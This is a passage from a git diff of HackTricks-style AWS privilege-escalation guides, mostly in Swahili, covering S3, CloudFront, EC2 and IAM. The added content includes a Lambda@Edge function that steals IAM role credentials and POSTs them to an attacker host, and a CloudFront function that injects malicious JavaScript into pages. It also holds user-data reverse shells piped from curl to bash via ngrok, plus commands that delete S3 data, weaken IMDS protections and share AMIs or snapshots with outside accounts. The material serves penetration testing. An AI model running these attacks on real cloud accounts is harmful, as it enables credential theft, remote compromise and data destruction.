mwisho, kawaida iitwayo "ransom-note.txt," ambayo ina maagizo kwa walengwa jinsi ya kupata files zao. File hii ina upload bila encryption, mara nyingi ili kuvutia attention ya walengwa na kuwafanya wajue kuhusu shambulio la ransomware. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### `s3:RestoreObject` + +An attacker mwenye ruhusa ya s3:RestoreObject anaweza kuireactivate objects zilizohifadhiwa kwenye Glacier au Deep Archive, na kuziweka zinapatikana kwa muda mfupi. Hii inawawezesha recovery na exfiltration ya data zilizohifadhiwa kihistoria (backups, snapshots, logs, certifications, old secrets) ambazo kwa kawaida zingekuwa nje ya ufikikaji. Ikiwa the attacker anachanganya ruhusa hii na read permissions (e.g., s3:GetObject), wanaweza kupata copies kamili za sensitive data. +```bash +aws s3api restore-object \ +--bucket \ +--key \ +--restore-request '{ +"Days": , +"GlacierJobParameters": { "Tier": "Standard" } +}' +``` +### `s3:Delete*` + +Shambulizi aliye na ruhusa ya `s3:Delete*` anaweza kufuta vitu, matoleo, na mabaketi yote, kuharibu nakala za chelezo, na kusababisha upotevu wa data wa papo kwa hapo na usioweza kurekebishwa, uharibifu wa ushahidi, na kuhujumu vitu vya chelezo au urejesho. +```bash +# Delete an object from a bucket +aws s3api delete-object \ +--bucket \ +--key + +# Delete a specific version +aws s3api delete-object \ +--bucket \ +--key \ +--version-id + +# Delete a bucket +aws s3api delete-bucket \ +--bucket +``` +**Kwa maelezo zaidi** [**angalia utafiti wa asili**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md new file mode 100644 index 000000000..ed1a9bcc2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -0,0 +1,217 @@ +# AWS - CloudFront Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` + +Mshambulizi ambaye ana ruhusa za cloudfront:UpdateDistribution na cloudfront:GetDistributionConfig anaweza kubadilisha konfigurasi ya distribution ya CloudFront. Hawahitaji ruhusa kwenye S3 bucket lengwa yenyewe, ingawa shambulio ni rahisi zaidi ikiwa bucket hiyo ina sera pana inayoruhusu upatikanaji kutoka kwa service principal cloudfront.amazonaws.com. + +Mshambulizi hubadilisha konfigurasi ya origin ya distribution ili kuielekeza kwenye S3 bucket nyingine au kwenye server inayodhibitiwa na mshambulizi. Kwanza wanachukua konfigurasi ya sasa ya distribution: +```bash +aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json +``` +Kisha wanahariri current-config.json ili kuonyesha chanzo (origin) kwa rasilimali mpya — kwa mfano, S3 bucket tofauti: +```bash +... +"Origins": { +"Quantity": 1, +"Items": [ +{ +"Id": "", +"DomainName": ".s3.us-east-1.amazonaws.com", +"OriginPath": "", +"CustomHeaders": { +"Quantity": 0 +}, +"S3OriginConfig": { +"OriginAccessIdentity": "", +"OriginReadTimeout": 30 +}, +"ConnectionAttempts": 3, +"ConnectionTimeout": 10, +"OriginShield": { +"Enabled": false +}, +"OriginAccessControlId": "E30N32Y4IBZ971" +} +] +}, +... +``` +Hatimaye, tekeleza usanidi uliobadilishwa (lazima utoe ETag ya sasa unaposasisha): +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG +``` + +### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction` +An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions. + +The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses: + +```bash +function handler(event) { +var request = event.request; +var response = event.response; +// Create a new body with malicious JavaScript +var maliciousBody = ` + + + +Compromised Page + + +

Original Content

+

This page has been modified by CloudFront Functions

+ + + +`; +// Replace the body entirely +response.body = { encoding: "text", data: maliciousBody }; +// Update headers +response.headers["content-type"] = { value: "text/html; charset=utf-8" }; +response.headers["content-length"] = { +value: maliciousBody.length.toString(), +}; +response.headers["x-cloudfront-function"] = { value: "malicious-injection" }; +return response; +} +``` + +Commands to create, publish and attach the function: + +```bash +# Unda function ya hatari katika CloudFront +aws cloudfront create-function --name malicious-function --function-config '{ +"Comment": "Malicious CloudFront Function for Code Injection", +"Runtime": "cloudfront-js-1.0" +}' --function-code fileb://malicious-function.js + +# Pata ETag ya function katika hatua ya DEVELOPMENT +aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text + +# Chapisha function kwenda hatua ya LIVE +aws cloudfront publish-function --name malicious-function --if-match +``` + +Add the function to the distribution configuration (FunctionAssociations): + +```bash +"FunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"FunctionARN": "arn:aws:cloudfront:::function/malicious-function", +"EventType": "viewer-response" +} +] +} +``` + +Finally update the distribution configuration (remember to supply the current ETag): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG +``` + +### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution` + +An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required. + +The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials: + +```bash +// malicious-lambda-edge.js +exports.handler = async (event) => { +// Obtain role credentials +const credentials = { +accessKeyId: process.env.AWS_ACCESS_KEY_ID, +secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, +sessionToken: process.env.AWS_SESSION_TOKEN, +}; +// Send credentials to attacker's server +try { +await fetch("https:///steal-credentials", { +method: "POST", +headers: { "Content-Type": "application/json" }, +body: JSON.stringify(credentials) +}); +} catch (error) { +console.error("Error sending credentials:", error); +} +if (event.Records && event.Records[0] && event.Records[0].cf) { +// Modify response headers +const response = event.Records[0].cf.response; +response.headers["x-credential-theft"] = [ +{ +key: "X-Credential-Theft", +value: "Successful", +}, +]; +return response; +} +return { +statusCode: 200, +body: JSON.stringify({ message: "Credentials stolen" }) +}; +}; +``` + +```bash +# Pakia (zip) kazi ya Lambda@Edge +zip malicious-lambda-edge.zip malicious-lambda-edge.js + +# Unda kazi ya Lambda@Edge kwa role yenye vibali vya juu +aws lambda create-function \ +--function-name malicious-lambda-edge \ +--runtime nodejs18.x \ +--role \ +--handler malicious-lambda-edge.handler \ +--zip-file fileb://malicious-lambda-edge.zip \ +--region + +# Chapisha toleo la kazi ya Lambda@Edge +aws lambda publish-version --function-name malicious-lambda-edge --region +``` + +Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version: + +```bash +"LambdaFunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1", +"EventType": "viewer-response", +"IncludeBody": false +} +] +} +``` + +```bash +# Tekeleza usanidi wa distribution uliosasishwa (lazima utumie ETag ya sasa) +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG + +# Chochea function kwa kuomba distribution +curl -v https://.cloudfront.net/ +``` + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index d257c680f..799d155de 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -4,7 +4,7 @@ ## EC2 -Kwa maelezo zaidi kuhusu **EC2**, angalia: +Kwa **maelezo zaidi kuhusu EC2** angalia: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,11 +12,11 @@ Kwa maelezo zaidi kuhusu **EC2**, angalia: ### `iam:PassRole`, `ec2:RunInstances` -Mshambulizi anaweza **kuunda instance na kuibandika IAM role kisha kuingilia instance hiyo** ili kuiba kredenshiali za IAM role kutoka kwenye metadata endpoint. +Mshambulizi anaweza **kuunda instance na kuambatanisha IAM role kisha kupata ufikiaji kwenye instance** ili kuiba nyaraka za IAM role kutoka kwenye metadata endpoint. - **Ufikiaji kupitia SSH** -Kendesha instance mpya ukitumia **iliyoundwa** **ssh key** (`--key-name`) kisha uingie kwa ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji ruhusa `ec2:CreateKeyPair`). +Endesha instance mpya ukitumia **iliyotengenezwa** **ssh key** (`--key-name`) na kisha utumie ssh kuingia ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji ruhusa `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Ufikiaji kupitia rev shell katika user data** -Unaweza kuendesha instance mpya ukitumia **user data** (`--user-data`) itakayokutumia **rev shell**. Hutahitaji kutaja security group kwa njia hii. +Unaweza kuendesha instance mpya ukitumia **user data** (`--user-data`) ambayo itakutuma **rev shell**. Huhitaji kutaja security group kwa njia hii. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -40,11 +40,11 @@ Kuwa mwangalifu na GuradDuty ikiwa utatumia credentials za IAM role nje ya insta ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Athari Inayoweza Kutokea:** Direct privesc kwa EC2 role yoyote iliyounganishwa na instance profiles zilizopo. +**Athari Inayowezekana:** Direct privesc kwa EC2 role yoyote iliyounganishwa na existing instance profiles. -#### Privesc kwa ECS +#### Privesc to ECS -Kwa seti hii ya ruhusa unaweza pia **kuunda EC2 instance na kuiandikisha ndani ya ECS cluster**. Kwa njia hii, ECS **services** zita**endeshwa** ndani ya **EC2 instance** ambayo una upatikanaji kwake, na kisha unaweza kuingilia huduma hizo (docker containers) na **kuiba ECS roles zao zilizounganishwa**. +Kwa seti hii ya ruhusa unaweza pia **create an EC2 instance and register it inside an ECS cluster**. Kwa njia hii, ECS **services** zita**run** ndani ya **EC2 instance** unayoweza kufikia, kisha unaweza kuingia kwenye services hizo (docker containers) na **steal their ECS roles attached**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -To learn how to **force ECS services to be run** in this new EC2 instance check: +Ili kujifunza jinsi ya **kulazimisha huduma za ECS ziendeshwe** katika EC2 instance mpya hii angalia: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +Ikiwa **huwezi kuunda instance mpya** lakini una ruhusa `ecs:RegisterContainerInstance` huenda ukaweza kusajili instance ndani ya cluster na kufanya attack iliyotajwa. -**Potential Impact:** privesc ya moja kwa moja kwa ECS roles zilizounganishwa na tasks. +**Athari Inayoweza Kuhusiana:** Direct privesc to ECS roles attached to tasks. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Kama katika senario iliyotangulia, mshambuliaji akiwa na ruhusa hizi anaweza **kubadilisha IAM role ya instance iliyobebwa** ili aweze kuiba kredenshali mpya.\ -Kwa kuwa instance profile inaweza kuwa na role moja tu, ikiwa instance profile **tayari ina role** (hali ya kawaida), utahitaji pia **`iam:RemoveRoleFromInstanceProfile`**. +Kama katika senario ya awali, attacker akiwa na ruhusa hizi anaweza **kubadilisha IAM role ya compromised instance** ili aweze kuiba credentials mpya.\ +Kwa kuwa instance profile inaweza kuwa na role 1 tu, ikiwa instance profile **tayari ina role** (hali ya kawaida), utahitaji pia **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,36 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Ikiwa **instance profile ina role** na attacker **hawezi kuiondoa**, kuna suluhisho jingine. +If the **instance profile ina role** na mshambulizi **hawezi kuiondoa**, kuna mbinu nyingine. Anaweza **kutafuta** **instance profile bila role** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **role** kwenye hiyo **instance profile** (kama ilivyohitimishwa hapo awali), na **kuhusisha instance profile** iliyodukuliwa na **instance** iliyodukuliwa: -Anaweza **kutafuta** **instance profile bila role** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **role** kwa **instance profile** hiyo (kama ilivyojadiliwa hapo awali), na **kuhusisha instance profile** iliyovamiwa kwa i**nstance:** iliyovamiwa: - -- Ikiwa instance **haina instance yoyote** profile (`ec2:AssociateIamInstanceProfile`) +- Ikiwa **instance** haina **instance profile** yoyote (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Athari Inayowezekana:** Direct privesc kwa role tofauti ya EC2 (unahitaji kuwa umetekwa AWS EC2 instance na ruhusa za ziada au hali maalum ya instance profile). +**Athari Inayowezekana:** Direct privesc kwa EC2 role tofauti (unahitaji kuwa umepata udhibiti wa AWS EC2 instance na ruhusa za ziada au status maalum ya instance profile). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Kwa ruhusa hizi inawezekana kubadilisha instance profile inayohusishwa na instance, hivyo ikiwa mshambuliaji tayari alikuwa na ufikiaji wa instance atakuwa na uwezo wa kuiba credentials za role zaidi za instance profile kwa kubadilisha ile inayohusishwa nayo. +Kwa ruhusa hizi inawezekana kubadilisha instance profile inayohusishwa na instance, kwa hivyo kama mshambuliaji tayari alikuwa na ufikiaji wa instance, atakuwa na uwezo wa kuiba credentials za roles zaidi za instance profile kwa kubadilisha ile inayohusishwa nayo. -- Ikiwa **ina instance profile**, unaweza **kuondoa** instance profile (`ec2:DisassociateIamInstanceProfile`) na **kuihusisha** it +- Ikiwa ina **instance profile**, unaweza **kuondoa** instance profile (`ec2:DisassociateIamInstanceProfile`) na **kuihusisha tena** ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- au **badilisha** **instance profile** ya instance iliyotekwa (`ec2:ReplaceIamInstanceProfileAssociation`). +- au **badilisha** **instance profile** ya instance iliyodukuliwa (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Athari Inayoweza Kutokea:** Privesc ya moja kwa moja kwa EC2 role tofauti (unahitaji kuwa umeshapata udhibiti wa instance ya AWS EC2 na ruhusa za ziada au hali maalum ya instance profile). +**Potential Impact:** Direct privesc to a different EC2 role (unahitaji kuwa umepata udhibiti wa AWS EC2 instance na ruhusa za ziada au hali maalum ya instance profile). ### `ec2:RequestSpotInstances`,`iam:PassRole` Mshambuliaji mwenye ruhusa **`ec2:RequestSpotInstances`and`iam:PassRole`** anaweza **kuomba** **Spot Instance** yenye **EC2 Role attached** na **rev shell** katika **user data**.\ -Mara instance itakapokimbia, anaweza **kuiba the IAM role**. +Mara instance ikianza, anaweza **kuiba IAM role**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -121,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instance. Miongoni mwa hizo, anaweza **kubadilisha user data**, jambo linalomaanisha anaweza kufanya instance **itekeleze data yoyote.** Hii inaweza kutumika kupata **rev shell kwa EC2 instance**. +Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instance. Miongoni mwa hizo, anaweza **change the user data**, jambo linalomaanisha anaweza kufanya instance **run arbitrary data.** Hii inaweza kutumika kupata **rev shell to the EC2 instance**. -Kumbuka kwamba sifa zinaweza tu **kubadilishwa wakati instance imezimwa**, kwa hivyo inahitaji **ruhusa** **`ec2:StopInstances`** na **`ec2:StartInstances`**. +Kumbuka kwamba sifa zinaweza tu **modified while the instance is stopped**, kwa hivyo inahitaji ruhusa **`ec2:StopInstances`** na **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Athari Inayoweza Kutokea:** Direct privesc kwa EC2 IAM Role yoyote iliyounganishwa na instance iliyotengenezwa. +**Madhara Yanayowezekana:** privesc ya moja kwa moja kwa EC2 IAM Role yoyote iliyounganishwa na instance iliyoundwa. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` na `ec2:ModifyLaunchTemplate`** anaweza kuunda **toleo jipya la Launch Template** lenye **rev shell katika** **user data** na **EC2 IAM Role yoyote juu yake**, kubadilisha **default version**, na **kundi yoyote la Autoscaler** **linalotumia** huo **Launch Template** ambalo **limepangwa** kutumia **latest** au **default version** litarudia kuendesha tena **instances** kwa kutumia template hiyo na itaendesha rev shell. +Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** anaweza kuunda **new Launch Template version** yenye **rev shell in** the **user data** na **any EC2 IAM Role on it**, kubadilisha default version, na **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** itatarudisha **re-run the instances** zinapotumia template hiyo na itatekeleza rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -178,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Athari Inayowezekana:** Privesc ya moja kwa moja kwa EC2 role tofauti. +**Madhara Yanayoweza Kutokea:** Direct privesc to a different EC2 role. ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **create a Launch Configuration** yenye **IAM Role** na **rev shell** ndani ya **user data**, kisha **create an autoscaling group** kutoka kwa config hiyo na kusubiri rev shell ili **steal the IAM Role**. +Mshambuliaji akiwa na ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Launch Configuration** yenye **IAM Role** na **rev shell** ndani ya **user data**, kisha **kuunda autoscaling group** kutoka kwa config hiyo na kusubiri rev shell **kuiba IAM Role**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -198,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Athari Inayoweza Kutokea:** Privesc ya moja kwa moja kwa role tofauti ya EC2. +**Athari Inayowezekana:** Privesc ya moja kwa moja kwenda kwenye role tofauti ya EC2. ### `!autoscaling` -Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** hazitoshi ku-escalate privileges hadi kwa role ya IAM kwa sababu ili kufunga role iliyotajwa katika Launch Configuration au Launch Template unahitaji ruhusa **`iam:PassRole`** na **`ec2:RunInstances`** (ambayo ni privesc inayojulikana). +Mseto wa ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kuinua vibali** kwa IAM role kwa sababu ili kuambatisha role iliyotajwa katika Launch Configuration au Launch Template **unahitaji ruhusa `iam:PassRole` and `ec2:RunInstances`** (ambayo ni privesc inayojulikana). ### `ec2-instance-connect:SendSSHPublicKey` -Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSSHPublicKey`** anaweza kuongeza ufunguo wa ssh kwa mtumiaji na kuutumia kuingia (ikiwa ana ufikiaji wa ssh kwenye instance) au kupata privesc. +Mshambulizi aliye na ruhusa **`ec2-instance-connect:SendSSHPublicKey`** anaweza kuongeza ufunguo wa SSH kwa mtumiaji na kuitumia kuingia (ikiwa ana ufikiaji wa SSH kwa instance) au kuinua vibali. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Madhara Yanayoweza Kutokea:** Direct privesc kwa EC2 IAM roles zilizoambatanishwa na instances zinazoendesha. +**Athari Inayowezekana:** Privesc ya moja kwa moja kwa EC2 IAM roles zilizoambatishwa kwenye running instances. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** anaweza **kuongeza ssh key kwa muunganisho wa serial**. Ikiwa serial haijawezeshwa, mshambuliaji anahitaji ruhusa **`ec2:EnableSerialConsoleAccess` ili kuiwezesha**. +Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** anaweza **kuongeza ssh key kwenye serial connection**. Ikiwa serial haijawezeshwa, mshambuliaji anahitaji ruhusa **`ec2:EnableSerialConsoleAccess` ili kuiwezesha**. -Ili kuunganishwa na port ya serial pia **unahitaji kujua jina la mtumiaji na nywila ya mtumiaji** ndani ya mashine. +Ili kuunganishwa kwenye serial port pia **unahitaji kujua username na password ya user** ndani ya mashine. ```bash aws ec2 enable-serial-console-access @@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Njia hii si ya muhimu sana kwa privesc kwa kuwa unahitaji kujua username na password ili kui exploit. +Njia hii si ya msaada mkubwa kwa privesc kwa sababu unahitaji kujua username na password ili kuiexploit. -**Potential Impact:** (Hawezi kuthibitishwa kwa urahisi) Privesc ya moja kwa moja kwa EC2 IAM roles zilizoambatishwa kwa instances zinazotumika. +**Athari Inayoweza Kutokea:** (Vigumu kabisa kuthibitisha) privesc ya moja kwa moja kwa EC2 IAM roles zilizounganishwa na instances zinazoendesha. ### `describe-launch-templates`,`describe-launch-template-versions` -Kwa kuwa launch templates zina versioning, mshambuliaji akiwa na ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia ili kugundua taarifa nyeti, kama vile credentials zilizopo katika user data. Ili kufanikisha hili, script ifuatayo inazunguka kupitia matoleo yote ya launch templates zilizopo: +Kwa kuwa launch templates zina versioning, mshambuliaji mwenye ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia kugundua taarifa za siri, kama vile credentials zilizomo katika user data. Ili kufanya hivyo, script ifuatayo inapitia matoleo yote ya launch templates zilizopo: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -252,22 +250,27 @@ done ``` Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (`aws_|password|token|api`), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti. -Kama tukigundua `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia cheti hizi kuthibitisha utambulisho kwenye AWS. +Ikiwa tutapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia credentials hizi kuthibitisha kwenye AWS. -**Athari Inayowezekana:** Direct privilege escalation to IAM user(s). +**Athari Inayoweza Kutokea:** Direct privilege escalation kwa mtumiaji(wa) wa IAM. ## Marejeo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft) -Mshambulizi mwenye uwezo wa kuita `ec2:ModifyInstanceMetadataOptions` kwenye instance ya EC2 ya mwathiri anaweza kudhoofisha kinga za IMDS kwa kuwezesha IMDSv1 (`HttpTokens=optional`) na kuongeza `HttpPutResponseHopLimit`. Hii inafanya endpoint ya instance metadata kufikiwa kupitia njia za kawaida za SSRF/proxy kutoka kwa programu zinazoendesha kwenye instance. Ikiwa mshambulizi anaweza kusababisha SSRF katika programu kama hiyo, wanaweza kupata credentials za instance profile na kuzipitisha (pivot) nayo. -- Ruhusa zinazohitajika: `ec2:ModifyInstanceMetadataOptions` kwenye instance lengwa (pamoja na uwezo wa kufikia/kusababisha SSRF kwenye host). -- Rasilimali lengwa: instance ya EC2 inayotumika yenye instance profile iliyounganishwa (IAM role). -Mfano wa amri: + + +### `ec2:ModifyInstanceMetadataOptions` (IMDS kupunguza kinga ili kuwezesha SSRF kuiba credentials) + +Mshambulizi mwenye uwezo wa kuita `ec2:ModifyInstanceMetadataOptions` kwenye EC2 instance ya mwathiriwa anaweza kudhoofisha kinga za IMDS kwa kuwezesha IMDSv1 (`HttpTokens=optional`) na kuongeza `HttpPutResponseHopLimit`. Hii inafanya endpoint ya instance metadata ipatikane kupitia njia za kawaida za SSRF/proxy kutoka kwa programu zinazoendesha kwenye instance. Ikiwa mshambulizi anaweza kusababisha SSRF katika programu hiyo, anaweza kupata instance profile credentials na pivot kwa kutumia hizo. + +- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (pamoja na uwezo wa kufikia/kusababisha SSRF kwenye mwenyeji). +- Target resource: The running EC2 instance with an attached instance profile (IAM role). + +Commands example: ```bash # 1) Check current metadata settings aws ec2 describe-instances --instance-id \ @@ -294,5 +297,28 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -Athari Inayoweza Kutokea: Wizi wa instance profile credentials kupitia SSRF unaopelekea privilege escalation na lateral movement kwa ruhusa za EC2 role. +Athari Inayoweza Kutokea: Uibi wa instance profile credentials kupitia SSRF unaosababisha privilege escalation na lateral movement kwa ruhusa za role ya EC2. + +### `ec2:ModifyInstanceMetadataOptions` + +Mshambuliaji mwenye ruhusa ya ec2:ModifyInstanceMetadataOptions anaweza kudhoofisha ulinzi wa Instance Metadata Service (IMDS) — kwa mfano kwa kulazimisha IMDSv1 (kufanya HttpTokens zisihitajike) au kuongeza HttpPutResponseHopLimit — na hivyo kurahisisha kuondoa kwa siri kwa temporary credentials. Vector ya hatari inayohusiana zaidi ni kuongeza HttpPutResponseHopLimit: kwa kuongezeka kwa hop limit hiyo (TTL), endpoint 169.254.169.254 haibaki kufungwa kwa network namespace ya VM pekee na inaweza kufikiwa na michakato/containers nyingine, hivyo kuwezesha wizi wa credentials. +```bash +aws ec2 modify-instance-metadata-options \ +--instance-id \ +--http-tokens optional \ +--http-endpoint enabled \ +--http-put-response-hop-limit 2 +``` +### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` + +Mshambuliaji mwenye ruhusa za ec2:ModifyImageAttribute na ec2:ModifySnapshotAttribute anaweza kushiriki AMIs au snapshots na akaunti nyingine za AWS (au hata kuzifanya za umma), akifichua images au volumes ambazo zinaweza kuwa na data nyeti kama configurations, credentials, certificates, au backups. Kwa kubadilisha launch permissions za AMI au create-volume permissions za snapshot, mshambuliaji anawawezesha wadau wengine ku-launch instances au ku-mount disks kutoka kwa rasilimali hizo na kufikia yaliyomo. + +Ili kushiriki AMI na akaunti nyingine: +```bash +aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region +``` +Ili kushiriki EBS snapshot na akaunti nyingine: +```bash +aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index c36f013a7..848b2af02 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,38 +12,38 @@ Kwa maelezo zaidi kuhusu IAM angalia: 